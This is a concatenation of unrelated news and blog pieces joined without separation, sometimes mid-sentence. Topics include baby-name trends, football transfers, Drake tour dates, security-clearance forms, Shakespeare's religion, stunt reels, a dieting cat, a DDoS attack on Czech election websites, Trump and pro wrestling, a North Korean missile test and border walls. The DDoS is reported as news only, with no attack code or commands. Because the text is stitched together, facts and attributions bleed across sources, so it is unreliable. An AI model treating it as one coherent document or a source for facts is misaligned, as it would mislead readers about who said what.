The Convention was the first international treaty negotiated under the WHO auspices and has 180 parties covering 90 percent of the world population. India ratified the Convention in 2004.
PTI
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Note: This feature has been updated with data from 2017.
The popularity of your name is likely far different today than it was the year you were born. Maybe you’re one of those men born in 1983 and named Michael, the most popular name of the year. Today, if you were given the most popular boy’s name, you’d be named Noah. The following interactive shows you which name had the same popularity in the past year and every decade since 1890 as yours did the year you were born, using newly released baby name data for 2017.
Do next: Find Out If Your Name Was Ahead of Its Time
Do next: Find out which state best matches your personality
Methodology
Name trends are provided by the Social Security Administration. Whenever names were tied for popularity in a given year or decade, they were assigned the same rank. This tool only searches for names of the same gender as what you entered at the top. Many names have drifted from being associated with boys to being associated with girls over the years, so it can appear as though female names are showing up in the male results.
See the Funniest and Weirdest Baby Photos Evan Kafka for TIME Photo-illustration by Evan Kafka for TIME Photo-illustration by Evan Kafka for TIME Photo-illustration by Evan Kafka for TIME Evan Kafka—Getty Images Evan Kafka Evan Kafka Evan Kafka—Getty Images Photo-illustration by Evan Kafka—Getty Images Evan Kafka—Getty Images Evan Kafka—Getty Images Evan Kafka—Getty Images 1 of 13 Advertisement
Contact us at [email protected] Turkish side are said to be keen after their poor start to the season.
Turkish giants Galatasaray are interested in signing recently released Tottenham Hotspur striker Emmanuel Adebayor.
It is being reported by Milliyet in Turkey that Gala are considering a move for the striker now he is a free agent.
The report claims that the poor form of current strikers Burak Yilmaz, Lukas Podolski and Umut Bulut has forced the hand of the Galatasaray board, who now hope to appease the fans with the signing of Adebayor.
Representatives for both parties have discussed a potential deal, as Gala look to overcome a poor start to the new season.
The club have won just once in the league this season and currently sit in eighth position.
Adebayor was finally released by Tottenham Hotspur at the weekend. The Togo striker had been told by Mauricio Pochettino that his services were no longer required at White Hart Lane – but failed to negotiate a move away from the club during the transfer window.
His release allows him to find a new club to begin his recovery from his Tottenham spell, but not a Premier League club. As Adebayor was still registered as a Tottenham player when the transfer window shut, he cannot join another Premier League team until January.
Which makes a potential switch to Galatasaray all the more likely.Drake's due a new album at some point this year, though details haven't been forthcoming as of yet. In lieu of anything concrete in that department, he's announced a 41-date North American tour with support from Miguel and Future. Check out the dates below, followed by the video for "5AM in Toronto":
09-25 Portland, OR - Rose Garden Arena
09-26 Tacoma, WA - Tacoma Dome
09-27 Vancouver, BC - Pepsi Live at Rogers Arena
09-29 Calgary, AB - Scotiabank Saddledome
09-30 Edmonton, AB - Rexall Place
10-02 Saskatoon, SK - Credit Union Centre
10-03 Winnipeg, MB - MTS Centre
10-05 Minneapolis, MN - Target Center
10-06 Kansas City, MO - Sprint Center
10-08 Saint Louis, MO - Scottrade Center
10-09 Chicago, IL - United Center
10-11 Indianapolis, IN - Bankers Life Fieldhouse
10-12 Auburn Hills, MI - The Palace of Auburn Hills
10-13 Cleveland, OH - Quicken Loans Arena
10-15 Columbus, OH - Schottenstein Center
10-16 Buffalo, NY - First Niagara Center
10-18 Pittsburgh, PA - CONSOL Energy Center
10-19 Philadelphia, PA - Wells Fargo Center
10-21 Montreal, QC - Bell Centre
10-22 Ottawa, ON - Scotiabank Place
10-26 Hartford, CT - XL Center
10-27 Newark, NJ - Prudential Center
10-28 Brooklyn, NY - Barclays Center
10-30 Boston, MA - TD Garden
10-31 Washington, DC - Verizon Center
11-02 Charlotte, NC - Time Warner Cable Arena
11-03 Raleigh, NC - PNC Arena
11-05 Miami, FL - AmericanAirlines Arena
11-06 Tampa, FL - Tampa Bay Times Forum
11-07 Atlanta, GA - Philips Arena
11-09 New Orleans, LA - New Orleans Arena
11-10 Dallas, TX - American Airlines Center
11-12 San Antonio, TX - AT&T Center
11-13 Houston, TX - Toyota Center
11-16 Phoenix, AZ - US Airways Center
11-18 Sacramento, CA - Sleep Train Arena
11-19 Oakland, CA - Oracle Arena
11-21 Anaheim, CA - Honda Center
11-22 Las Vegas, NV - MGM Grand Garden Arena
11-24 San Diego, CA - Viejas Arena
11-25 Los Angeles, CA - STAPLES Center
Embedded content is unavailable.Filling out a standard federal security-clearance application took up three days of Don Beyer’s life.
It was a long weekend in 2008. Beyer, a former lieutenant governor of Virginia, was preparing to spend 11 weeks at the Department of Commerce on behalf of Barack Obama’s transition team.
To do that, Beyer needed to fill out a boring document known as an SF-86 – a document that now has senior White House adviser, and Donald Trump’s son-in-law, Jared Kushner in serious trouble. And to do that, Beyer had to get his immediate family to rack their brains to recall all their foreign contacts over the past seven years– something that now threatens to ensnare Ivanka Trump, another senior White House adviser, the president’s daughter and Kushner’s wife.
It was a lot of work, Beyer recalls. He had a substantial number of foreign interactions
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is in the middle of correcting what critics say was over-broad authority granted in that measure..- April 23 marks the 400th anniversary of the death of William Shakespeare, the playwright, poet, and actor widely considered to be the most influential literary figure in the English language.
Yet, there's one mystery which continues to elude scholars to even this day: what exactly was Shakespeare's relationship with the Catholic Church? And, could he have been a secret Catholic, forced to conceal his true religious identity in an era of persecution?
At the time of Shakespeare's writing, Britain was in a period of religious upheaval. Its people were still caught in the crossfires of the English Reformation that had begun decades earlier when Henry VIII declared himself head of the Church of England. Shakespeare, like many of his contemporaries, outwardly followed the State-imposed religion, since it was illegal at that time to practice as a Catholic in England. However, scholars say he nonetheless maintained strong sympathies with the Church of Rome.
Shakespeare's writings “clearly points to somebody who was not just saturated in Catholicism, but occasionally argued for it,” said Clare Asquith, an independent scholar and author of a book on Shakespeare called “Shadowplay:The Hidden Beliefs and Coded Politics of William Shakespeare.”
He “was definitely putting the Catholic point of view to an intellectual audience,” she said.
An example of this relationship with Catholicism comes out in Shakespeare's Hamlet, a play which scholars say captures the sense of conflict experienced by the population as the country transitioned to the Church of England.
“Shakespeare's play, Hamlet, dramatizes the position of all these people, torn apart like Hamlet, having to play a part like Hamlet, pretend they were irresponsible, perhaps mad, and yet, having to make a decision about what to do about this,” Asquith told CNA/EWTN News.
She said that this conflict is particularly represented through the ghost of Hamlet’s father in Act I.
“Everything about the ghost is the old order, which has been displaced by a brand new tudor State with the monarch as the head of the Church, which was still highly, highly contentious,” she said. “I think scarcely anyone in England went along with it at that point. They did superficially, out of self-interest, and it gradually did produce a creeping secularism.”
Hamlet's mother, who has married his uncle very soon after the King’s death, represents the “England that has given into the new order, reluctantly,” while urging Hamlet to go along with it, Asquith said.
“On the other hand, he has his father saying: ‘No, Hamlet. Stand up against it. You must do something about it.’”
Author of “Through Shakespeare's Eyes: Seeing the Catholic Presence in the Plays,” scholar Joseph Pearce takes this conflict win Hamlet a step further by saying the play is speaking out against England’s persecution of Catholic priests.
“The play illustrates the venting of Shakespeare's spleen against the spy network in England which had led to many a Catholic priest being arrested, tortured and martyred,” said Pearce, who is director of the Center for Faith and Culture in Nashville, Tennessee and author of three books on Shakespeare.
“The Ghost of Hamlet's father is clearly a Catholic in purgatory who exposes the wickedness of the usurping Machiavellian King Claudius.”
Pearce reiterates that more people at that time had Catholic sympathies than is commonly believed.
“Although the anti-Catholic laws made it necessary for any writer, Shakespeare included, to be circumspect about the way that they discussed the religious controversies of the time,” he said, “it is clear that Shakespeare's plays show a great degree of sympathy with the Catholic perspective during this volatile time.”
People want Shakespeare to be an enlightened secular humanist, and they are not going to move an inch in the direction of him being committed in a religious sense at all.
While scholars agree that Shakespeare's writings indicate sympathies for the Catholic cause, definitive proof from his life that he was a covert Catholic are harder to come by. In fact, Asquith said, there is even resistance among the academic community regarding his possible relationship with the Catholic Church, despite the vast evidence from the writings of Shakespeare and his contemporaries.
“The fact that that line of research, that way of reading late-16th century literature has been so rejected by Shakespeare scholars, means that they would fight tooth and nail to resist any fact that indicated he was Catholic,” she said.
“People want Shakespeare to be an enlightened secular humanist, and they are not going to move an inch in the direction of him being committed in a religious sense at all.”
That said, Asquith explained there are only a few pieces of hard biographical evidence which point to the possibility of Shakespeare being Catholic.
She referred to two separate instances in which Shakespeare’s contemporaries refer to him as a “papist” – a term used to describe Catholics because of their allegiance to the Pope.
The first of these was in 1611, when the Protestant and government propagandist John Speed attacked Shakespeare for a parody he had written about Protestant martyr John Oldcastle, calling him a papist. The second instance came around 60 years after Shakespeare’s death in 1616, in which Protestant clergyman Richard Davis is quoted as saying he had died a papist.
These two references to Shakespeare being a papist “are the only two real facts that I can see,” Asquith said.
However, she added that there are other clues from his life which may point to his Catholicism. For instance, his daughter Susanna had been brought before the court of the Recusant because she, like many Catholics, refused to take the oath of supremacy – i.e. swear allegiance to the reigning monarch as head of the Church of England. Asquith noted that Susanna was married to a Puritan, the religious denomination which also refused to take the oath of supremacy.
A final detail about Shakespeare’s life which Asquith says potentially points to his relationship with the Catholic Church is the purchasing of the Blackfriars Gatehouse in London in 1613, which he immediately leased out as a safehouse for Catholics.
For Pearce, this detail is the most compelling evidence of Shakespeare's Catholicism. According to his book on the subject, the property would be used to harbor Catholic priests and fugitives, among other activities. Moreover, the brother of the tenant, John Robinson, entered the seminary of the Venerable English College in Rome, which was established when training for the priesthood in England became illegal.
“Shakespeare's purchasing of the Blackfriars Gatehouse, a house well known as a base for the Catholic underground, would be enough to prove Shakespeare's Catholicism,” he told CNA.
In studying the social and political dynamic of the period, Asquith said it is important to know about the alternative or “revisionist history of Shakespeare’s time, and to read his work in the light of that history.
“It really was much more of a battle for the soul of England than we have realized for the last three or four hundred years,” she said, in reference to her 2009 book Shadowplay.
“Shakespeare was commenting on breaking news, on momentous history as it was unfolding, and was addressing various key players along the way,” she said.
“What all the intellectuals of his day wanted: religious toleration. They didn’t want secular humanism. They wanted, really, freedom to practice either reformed Christianity or Catholic Christianity.”
Photo credit: www.shutterstock.com.A stunt reel is something Stunt performers use in order to showcase their work to Stunt Coordinators and Producers who may be looking to hire them. We gather our work together from past footage, and spread it around our networks. A common running time for a stunt reel is around 1 minute. This lets us showcase our movement and talent abilities without boring the viewer, as casting directors and stunt coordinators often don’t have too much time on their hands when looking to hire people.
As an example, here is my current stunt reel:
Along with a stunt reel, a stuntman needs to also have a good headshot and stunt resume. With these tools, we go “hustle” sets and introduce ourselves to the stunt coordinator. The key to a good hustle is to show up looking professional, have your resume handy, and don’t hang around too much. Just be professional, get in, say hi, and get out.
Stunts is a dangerous job which must be done safely for both the people doing the job, and the production insurance. This produces a tightly knit group of professionals who rely on knowing each other’s strengths to get the job done. The stunt community is therefore a hard shell to crack for anyone first starting out, as you have the catch-22 situation of wanting to gain trust by working jobs, but not being able to work jobs until people trust you. This is where having a good reel and a good personality comes in.
If you are a person who wants to get into stunts, be prepared to do A LOT of networking. There are stunt networking events and parties you will find out about once you start meeting people and asking questions. Bring your best self, and BE HONEST. You don’t want to fake your way into a job that you can’t physically do.
If you are a filmmaker who wants to find a good stunt performer / coordinator ask around your friends first, then be prepared to do some of your own searching. Stunt Reels are also a good way to find coordinators, as many stunt performers (after about 5 years experience) will start having coordinator credits show up on their IMDB and resumes. Hiring a stunt coordinator is the safest move when you are planning any sort of action in your project, as they will be able to provide the knowledge and equipment for everything to go smooth and safely. Also, a stunt coordinator may be able to help you out with how to film your action.
And with this I want to say thanks for reading, and feel free to send me any questions by email or a comment on my youtube videos! I just started releasing an action filmmaking tutorial series, which will focus on everything stunt related. We are currently teaching how to film a fight scene
I’m very happy with how this year’s stunt reel turned out, and I’m looking forward to the work I have ahead of me in 2017!
This year my stunt reel has footage from:
– Grimm (TV show)
– Smosh: The Movie (movie)
– Mighty Med (TV Show)
– Six Gun Savior (movie)
– Six Feet Down Under (webseries)
– Primal (video)
– Dark Agent (video)
– Pokemon Go vs Street Fighter (video)
– Parkour Pacman (video)
– Levi’s Jeans (spec commercial)
– Madden 2016 (promo)
Here is my IMDB: http://www.imdb.com/name/nm4493407/
If you’re new to my site, I am a Los Angeles based stuntman, and I specialize in fight choreography, parkour, wirework, wrecking, judo, taekwondo, and martial arts tricking. Watch my stunt reel below and leave me some love on my main focus, youtube!
Thanks for watching, and watch out for more videos to come soon! 😉When found at an animal shelter, he was twice the weight of an average cat. Now the Tennessee kitty is on a "cat food only" diet and even walking on a treadmill
Courtesy of Penny Adams
And we thought trying to slim down was just for humans! A Nashville cat — aptly named Buddha — is on a diet after being discovered at an animal shelter weighing a whopping 31.4 lb., more than twice the weight of an average feline.
When volunteer photographer Penny Adams found him at an animal shelter in Nashville, after his previous owner died, Buddha was not in good shape. “He took up most of the cage,” Adams told TIME. “I’ve never seen a cat that large. He’s like a giant pillow.” She immediately wanted to rescue him: the big guy was only 6 years old — in his prime for a cat. “I was concerned that either he would be put down because of his age and special needs, or that he would be adopted out to someone who wouldn’t provide his special care that he needs to get healthy.”
Now Buddha is alive and well at The Cat Shoppe, the animal-rescue organization where Adams volunteers, and where she and the owner, Chris Achord, are helping him lose weight, get healthy and eventually find a new home. Vets have told them he should be losing about a pound a month, and they hope he’ll be down to about 20 lb. in a year.
The black-and-white Buddha is on a “cat-food-only diet,” and it’s been quite a challenge weaning him off his beloved human food — which is what his last owner was probably feeding him, said Achord. “We’re trying to get him off the tuna, anything with fish. That’s not good for him.”
An exercise regimen was in order as well: the previously sedentary cat has been walking on a special water treadmill at Animalia Wellness, a veterinary hospital. Plus, Adams said, at The Cat Shoppe there aren’t too many cages, and cats are allowed to roam the store so customers can pet and play with them. “It’s great for a cat because it helps them get socialized,” Adams said. Achord added that he’s very friendly: “He talks to people and wants them to pet him.”
Two days ago, he weighed 29.1 lb.: a step in the right direction.
Once he sheds enough weight — in a year or so, Adams and Achord hope — it will be time to find Buddha a new adopted home. “All the cats we have are like family, but we’re really happy when we find a perfect home for them,” said Adams, adding that the Shoppe is very particular about adoptions and “makes sure they’re going to the right homes so they don’t end up on the streets again.”
Adams said you can donate to Buddha’s wellness on The Cat Shoppe website and monitor his weight-loss progress on its Facebook page.
MORE: Fat Camps for Dogs Battle a Bulging EpidemicGet the biggest Aston Villa FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Tony Xia’s plans to purchase sister clubs across the globe have been confirmed by soon-to-be chief executive Keith Wyness.
Aston Villa’s ambitious new owner wants to make the claret and blues a global force by linking up with clubs in China, India, and the USA among others.
Discussions are already underway and possible feeder clubs in Spain are also being considered, as reported by the Birmingham Mail earlier this month.
Xia has seen the Manchester City model and would love to replicate that success.
Introducing Tony, Roberto and Keith
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“The idea is to have a comprehensive pool of talent and abilities to take players up through different stages of club experience,” said Wyness.
“Depending on their age, development, talent. Give yourself that opportunity to monitor the talent very closely wherever they are.
“It won’t be announced this week but we’re in active discussions that’s all I can say. Every club has different factors but we have identified a number and we are in discussions.”
Wyness will also use his background in the business world, as well as Xia’s contacts across the globe, to help boost Villa’s marketing plans.@TheRalphRetort The story of what happened between TFYC and Zoe Quinn, from Quinn joking about DDOSing their website to this alleged "peace treaty" that they struck last week, is messy and interesting. There are certainly compelling reasons we might report on it, and normally, I'd contact all involved parties and try to dig into the truth about what happened. But this situation is not normal by any means. And we're hesitant to A) publish an article that would encourage or facilitate more harassment of ANYONE; B) cover a story that heavily involves someone who had a now-very-public relationship with one of our reporters. Maybe in a few months, when things have simmered down, that will change -- and if another outlet writes a thorough, fair, honest account of what happened, we'd certainly consider linking out to that -- but for now, I don't feel comfortable trying to tackle that story on Kotaku. (FYI, I also made it clear to Matt when we spoke that our conversation might not lead to any sort of article.)
Reply · Report PostA man casts his vote in parliamentary elections at a polling station in Prague, Czech Republic October 20, 2017. REUTERS/David W Cerny
PRAGUE (Reuters) - The websites used for presentation of the Czech Republic’s election results were hacked on Saturday afternoon, the Czech Statistical Office (CSU) said on Sunday, adding that the vote count was not affected.
Czechs voted on Friday and Saturday in the parliamentary election, with the results then shown on two websites that CSU maintains with an outside provider.
“During the processing (of the vote), there was a targeted DDoS attack aimed at the infrastructure of the O2 company used for elections,” CSU said on its website.
“As a result, servers volby.cz and volbyhned.cz had been temporarily partly inaccessible. The attack did not in any way affect either the infrastructure used for the transmission of election results to the CSU headquarters or the independent data processing.”
The anti-establishment ANO party won 29.6 percent of the vote but may struggle to find coalition partners. Many parties expressed reluctance or rejected outright any coalition with the ANO while its billionaire founder and leader Andrej Babis fights off fraud charges.
Czech President Milos Zeman said on Sunday that he would name Andrej Babis prime minister.
In the last similar case, in January, the Czech Foreign Ministry said that hackers had breached dozens of its email accounts in an attack resembling one against the U.S. Democratic Party that the former Obama administration blamed on Russia.
On the European Union level, the threat of cyber attacks has been taken more seriously in recent months after hacking attempts detected by some of the 28 member states.
EU defence ministers tested their ability to respond to a potential hacking attack in their first cyber war games in September. The exercise was based on a simulated attack on one of the bloc’s military missions abroad.Republican presidential nominee Donald Trump walks to the stage at a campaign rally in Pensacola, Florida, U.S., September 9, 2016. REUTERS/Mike Segar
During a panel at Harvard on March 7 on press and the presidency, political journalist Jessica Yellin described Donald Trump's conflict with the press as "WWF, media edition: In one corner, Donald Trump, defending the anti-institutionalist position, fighting the elites. In the other corner, the media, defending their honor. We all know conflict does well with readers, with viewers."
Yellin's reference to World Wrestling Entertainment (the WWE, formerly known as the WWF) points to something deeper: the striking parallels between Trump's political style and professional wrestling.
His connections to professional wrestling run deep, and, even if he isn't consciously drawing from the professional wrestling playbook, at the very least he intuitively understands its performative power - its ability to enrapture audiences, tell a story and dominate headlines.
As a scholar who researched professional wrestling, I saw, in Trump the candidate - with his bombastic rhetoric and bravado - a distinctly pro-wrestling style. But now that he has transitioned from campaigning into an actual leadership role, can it translate into legislative action? Can he be a showman who also establishes legitimacy, builds alliances and delivers the goods?
Trump's wrestling ties
In professional wrestling, two (or more) opponents stage a violent fight in front of paying spectators. Unlike competitive sports, pro wrestling is premised on telling the best story. As a performer it doesn't matter if you win; what matters is the strength of the emotional response you generate from fans.
Matches are typically fought between a good guy (in wrestling parlance, a "baby-face" or "face") and a bad guy ("heel"). Characters and storylines commonly revolve around age-old scripts about injustice, vengeance and good triumphing over evil - with violence always celebrated as a means to resolve conflict.
The American understanding of pro wrestling has come to be synonymous with the highly profitable and powerful World Wrestling Entertainment Corporation. The publicly-traded business, founded by Jess McMahon in the early 1950s, produces televised live events that are broadcast to millions of homes around the world year-round.
Trump doesn't simply possess a performative style that resembles those of pro wrestlers. For years he's been connected with WWE and has actually participated in several of their shows.
Atlantic City's Trump Plaza hosted WrestleMania IV and V. In 2007 he performed in WrestleMania 23, attacking WWE CEO Vince McMahon in the "Battle of the Billionaires." Two years later, he reemerged in a storyline in which he claimed to have bought Raw, WWE's Monday night program, from McMahon, setting off another "feud" between the two.
His close ties to pro wrestling are such that he picked Linda McMahon, the wife of Vince McMahon and the former CEO of WWE, to lead his administration's Small Business Administration.
A WWE campaign
Trump's campaign kickoff certainly had a WWE feel to it.
On June 16, 2015, with Neil Young's "Rockin in the Free World" blaring, he descended an escalator at Trump Tower before a crowd of onlookers - some paid - who flashed their cellphone cameras and waved signs.
The stage was smaller, and there weren't any pyrotechnics, but the parallels were unmistakable. And after the opening bell, it was one brash pugilistic move followed by another.
He dispatched soundbite slogans and 140-character tweets that reduced complex groups and issues into simplistic stereotypes and remedies ("Build That Wall," "Lock Her Up," "Drain the Swamp" and, most famously, "Make America Great Again!"). Like the catchy slogans of wrestling stars - "You're fired!" (Vince McMahon), "Rest in Peace!" (The Undertaker), "Know Your Role and Shut Your Mouth!" (The Rock) - the phrases can be easily remembered, even emblazoned on T-shirts, hats or signs.
During a rally in New Hampshire, Trump took a page directly out of the pro-wrestling playbook, working the crowd with an interactive call-and-response. Feigning the constraints of political correctness, he got a supporter to call Ted Cruz a "pussy" for not endorsing torture.
The in-ring action in pro wrestling is often a minor part of the drama. Behind the scenes, extensive backstaging, communications, and props - from in-ring whispers exchanged with opponents to colorful tales of infidelity made by commentators - enhance the drama and optics. A two-hour WWE show often displays less than 15 minutes of in-ring physicality.
Trump during a campaign stop. Sara D. Davis/Getty Images
Trump utilized similar tactics, like when he brought a group of women who had accused Bill Clinton of infidelity to one of the debates.
His January press conference - which was supposed to allay concerns about his involvement in the family business - was another command performance. He enlisted paid staffers to applaud his answers, attacked a CNN reporter (calling the network's coverage "fake news") and covered a table with stacks of folders that were purportedly brimming with important business documents.
Finally there's the "us vs. them" dynamic - which Jessica Yellin alluded to - that became central to Trump's style and appeal. He identified and tapped into a strand of voter malaise - especially among whites - that few others saw, formulating a basic storyline that resonated: He was the underdog out to exact revenge on the powerful establishment - the political, business and media elites who had sold out the interests of the little guy in their embrace of trade deals, corruption and open borders.
Trump, on the other hand, would be their fist-pumping champion.
What happens when the show's over?
Blurring the line between truth and fiction has always been at the heart of pro wrestling. Just like moviegoers, fans know that it's an act. But for the sake of being entertained, they're willing to suspend disbelief.
It worked in Trump's campaign, but can this style succeed during a presidency? It's difficult for a leader to maintain legitimacy when he's repeatedly caught in lies, whether it's the size of his inauguration crowd or the homicide rate being at an all-time high.
Moreover, some early decisions have directly contradicted earlier rhetoric. With Cabinet picks that have accumulated more than US$15 billion in wealth, it's difficult to see how Trump will "drain" the D.C. "swamp" of special interests.
In the end, actual policy will most likely make or break Trump's presidency. He must be able to help voters and work with Congress to pass his agenda.
While wrestling stars usually appear invincible on screen, most of the work is bruising and far from glamorous. Aside from a small cadre of top WWE performers, most pro wrestlers perform for little to no pay in local venues before small crowds of devoted fans. They destroy their bodies, receive little, if any, healthcare and endure grueling schedules.
Supporters rally with Republican U.S. presidential nominee Donald Trump in Tampa, Florida, U.S. October 24, 2016. Thomson Reuters
Although they face little physical danger, politicians also conduct extensive behind-the-scenes work that can be grueling and thankless. Successful politics requires building coalitions, consideration of opposing viewpoints, understanding policy and sitting through numerous meetings. Is Trump willing to put in such work?
The health of American bodies, interestingly enough, has been his biggest leadership test to date. In the weeks after the election, some Trump voters were surprised to find out that they really might lose their health insurance. Nonetheless, Trump made repealing and replacing the Affordable Care Act his first major legislative initiative. The plan - which would have cut the coverage of an estimated 24 million Americans - never even made it to a vote.
One reason could be that Trump and Congress spent only 63 days formulating and debating the legislation, compared to the year it took the Obama administration to advance and pass the Affordable Care Act.
While health care has captured headlines, significant threat comes from his proposed budget cuts, which will slash environmental, housing, diplomatic, educational and food programs, such as "meals on wheels."
Like most forms of entertainment, the fans of pro wrestling want to get lost in the drama and yearn to be distracted from everyday life. Performers routinely get injured - and sometimes even die - yet the crowd is safe and removed from the violence.
With Trump, the tables are turned: He'll likely emerge with his health and finances intact while the crowd bears the risk. If millions of his supporters realize the pain, they will soon be seeing him as a "heel."Balinese Gamelan Music is a short, nicely illustrated introduction, pitched perhaps at discerning tourists ("visitors, plus admirers and would-be visitors") but touching on a good range of material, in surprising depth given its length and with ethnomusicological sophistication. It would make a useful starting point for students.
A brief background history of Balinese music in its regional context is followed by an introduction to gamelan instruments, an explanation of the basics of gamelan music, and a working through in some detail of the music for the first part of the Baris dance. The emphasis in this is on gong kebyar, but a broader survey follows, encompassing bamboo, sacred, and lesser-known ensembles. There's also a brief account of the place of music in Balinese society, given life by biographies of three musicians from different generations.
Tenzer himself is a composer and performer as well as a scholar, and conveys a feel for what is very much a live tradition. He includes some advice on getting involved with Balinese music, both in Bali and abroad. And a final chapter, added in this 2011 third edition, covers the last twenty years. (The work was originally published in 1991 and earlier editions had the shorter title Balinese Music.)
December 2014
External links: - buy from Amazon.com or Amazon.co.uk
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- share this review on Facebook or TwitterNorth Korea has tried, but allegedly failed, to conduct a new missile launch, according to South Korea’s Joint Chief of Staff and US Pacific Command. The alleged botched launch comes amid heightened tensions on the Korean Peninsula and a day after Pyongyang showcased its new sea based and intercontinental missiles.
“The communist state attempted to launch an unidentified missile from the port city of Sinpo on its east coast in the morning and the launch is presumed to have failed,” the South Korean military said, according to Yonhap news.
The attempted missile launch has also been detected by the US military, which said it “blew up almost immediately” after the launch at 9:21pm GMT.
“US Pacific Command detected and tracked what we assess was a North Korean missile launch at 11:21 a.m. Hawaii time April 15. The launch of the ballistic missile occurred near Sinpo," US Pacific Command spokesman Commander David Benham said. “The missile blew up almost immediately. The type of missile is still being assessed.”
While the assessment is still ongoing, two US officials told Reuters there’s a “high degree of confidence” the projectile was a land-based but not an intercontinental ballistic missile.
Meanwhile, Seoul officials told Yonhap that the failed missile launched on Sunday resembled the type of a projectile the North fired earlier this month. On April 5, Pyongyang triggered what is believed to be a KN-15 medium-range ballistic missile. Also fired from the Sinpo area, it flew some 60 kilometers before falling into the Sea of Japan.
Reports of the failed launch came just hours before US Vice-President Mike Pence’s scheduled arrival in South Korea; to begin his Asian tour offering security reassurances to its allies in the region.
Pence has already been briefed on the latest developments while en route to the Peninsula, White House aides told reporters on board the plane. The vice president then discussed the missile launch with Donald Trump.
Later, a White House foreign policy adviser travelling with Pence commented on the launch, saying that it did not catch Washington by surprise.
“We had good intelligence before the launch and good intelligence after the launch,” he is cited by Reuters as saying, adding that the US does not “need to expend any resources against that.”
Defense Secretary Jim Mattis said in a statement that Trump and his military team are aware of North Korea's missile launch. The US president has yet to comment on the matter.
Read more
On Saturday, as North Korea marked the 105th birth anniversary of its founding leader Kim Il-sung with a military parade in Pyongyang, the North for the first time publicly showcased its submarine-launched ballistic missiles (SLBMs), as well as what appears to be a new type of ICBM.
"It's presumed to be a new ICBM. It seems longer than the existing KN-08 or KN-14 ICBMs," a South Korean military official told Yonhap, after the intercontinental ballistic missiles along with the Pukkuksong-2 SLBMs were paraded in front of the country's leader, Kim Jong-un.
Choe Ryong Hae – a close aide to Kim Jung-un, during his address to the soldiers – warned against any US provocations on the Peninsula, after US President Donald Trump repeatedly promised to “take care” of the North Korean issue over the past weeks.
“If the United States wages reckless provocation against us, our revolutionary power will instantly counter with annihilating strike, and we will respond to full-out war with full-out war and to nuclear war with our style of nuclear strike warfare,” Choe said.
"North Korea showing a variety of offensive missiles at yesterday's military parade and daring to fire a ballistic missile today is a show of force that threatens the whole world," South Korea's Foreign Ministry said in a statement on Sunday.
Tensions on the Korean Peninsula has reached worrying heights amid concerns, fueled by media reports, that Pyongyang might be preparing new nuclear and ballistic missile tests – and that the US might decide to act unilaterally and conduct a pre-emptive or retaliatory strikes, just as it did against Syria on April 7.
READ MORE: N. Korea blasts US ‘military hysteria & aggression’ in Syria, vows to mercilessly foil provocations
Pyongyang has urged Washington to stop its “military hysteria” and come to its “senses” – or otherwise face a merciless response in case of “provocations” against North Korea. Washington sent the USS Carl Vinson aircraft carrier group and other military hardware to the region in an apparent show of force and in preparation for “any possible scenarios.”
Trump, however, has also been engaging with China, seeking its help to solve the North Korean nuclear issue peacefully. China’s foreign minister, Wang Yi, warned that confrontation between the US and North Korea had escalated to such a point that “a military conflict may start at any moment.”Local law firm Allen & Allen wants to make sure you and your buds get home safely on New Year’s Eve, so they’ve teamed up with Napoleon Taxicab to provide free rides home in the Metro Richmond area.
Local law firm Allen & Allen wants to make sure you and your buds get home safely on New Year’s Eve, so they’ve teamed up with Napoleon Taxicab to provide free rides home in the Metro Richmond area. That’s right, they’re picking up the tab so you don’t have to.
To schedule a cab ride, call 804-354-8294. Free rides are available from midnight to 3am and only apply to rides home — they’re not giving rides from bar to bar.
Even if you don’t take Napoleon Taxicab up on their offer, please make responsible decisions when you’re out celebrating on Friday. Pick a designated driver, hop on the To The Bottom and Back Bus, or go ahead and save a cab company’s phone number in your phone. Be safe, Richmond!On Sunday, more than 100,000 Germans gathered in Berlin for a commemoration of the 25th anniversary of the fall of the Berlin Wall. Speaking at a memorial center, Chancellor Angela Merkel said: “We can change things for the better — that is the message of the fall of the Berlin Wall."
Merkel did not cite any examples, although she would have had plenty of choices. Today, dozens of walls and border fences continue to separate nations or territories across the world. Most of them were erected after the fall of the Berlin Wall, and there seems to have been a particular increase over the past decade.
According to data researched by Élisabeth Vallet, a scholar at the University of Quebec in Montreal, and visualized by The Washington Post, the number of walls worldwide remained stagnant after the fall of the Berlin Wall briefly. However, wall construction projects proliferated dramatically after the terrorist attacks on Sept. 11, 2001 -- reflecting instability in the Middle East and elsewhere. By 2011, more than 45 walls separated countries and territories.
Here is a selection of some of the walls and border fences worldwide.
India and Pakistan
An Indian Border Security Force soldier patrols near the fenced border with Pakistan in Suchetgarh on Jan. 14, 2013. (Mukesh Gupta/Reuters)
The rivalry between India and Pakistan —both nuclear-armed nations — dates to 1947, when British India was partitioned to create two states. Since then, they have waged three wars, including over the disputed territory of Kashmir. In 2003, partially as a response to the threat of militants infiltrating in from Pakistan, India started to build a fenced border with Pakistan after reaching a cease-fire agreement.
Georgia and South Ossetia
A barricade, part of a fence put up by Russian forces on the boundary between Georgia and South Ossetia, has been a source of dispute between Russia and Georgia. (David Mdzinarishvili/Reuters)
One year ago, Russian troops reportedly started to build a wire fence between Georgia and South Ossetia, the territory recognized by Russia as a sovereign state. In 2008, Georgia and Russia waged a war over the region that ended with the retreat of Georgian forces. The subsequent separation became particularly visible in 2013: A barbed-wire fence now effectively splits the village of Dvani, which is right along the demarcation line.
Gaza Strip and Israel
An Israeli police officer stands guard behind a barrier at the Kissufim checkpoint moments after Israeli troops sealed off the area. Signs in English and Hebrew hang on gates blocking the road into Gaza. (Getty Images/David Silverman)
The 40-mile-long border between the Gaza Strip and Israel is protected by Israeli guards and a barrier erected in 1994. There are only a few checkpoints where citizens can cross the border.
Egypt and Gaza Strip
A picture taken Oct. 26 from the Palestinian side of the Rafah border crossing in the southern Gaza Strip shows an Egyptian soldier (background) manning a watch tower on the Egyptian side. (Said Khatib/AFP via Getty Images)
Egypt agreed, based on a 1979 treaty with Israel, to set up a buffer zone between its territory and the Gaza Strip. Israel later built a barrier of metal, concrete as well as barbed wire. After Israel pulled out of the strip in 2005, an agreement was reached to deploy Egyptian guards to prevent militants or smugglers from crossing the border.
To stop smugglers from using tunnels, the Egyptian government started to build an underground metal wall in 2009 — a project condemned as a 'wall of shame' by many Arab commentators, who criticized the close cooperation between Egypt and Israel at that time.
Israel and West Bank
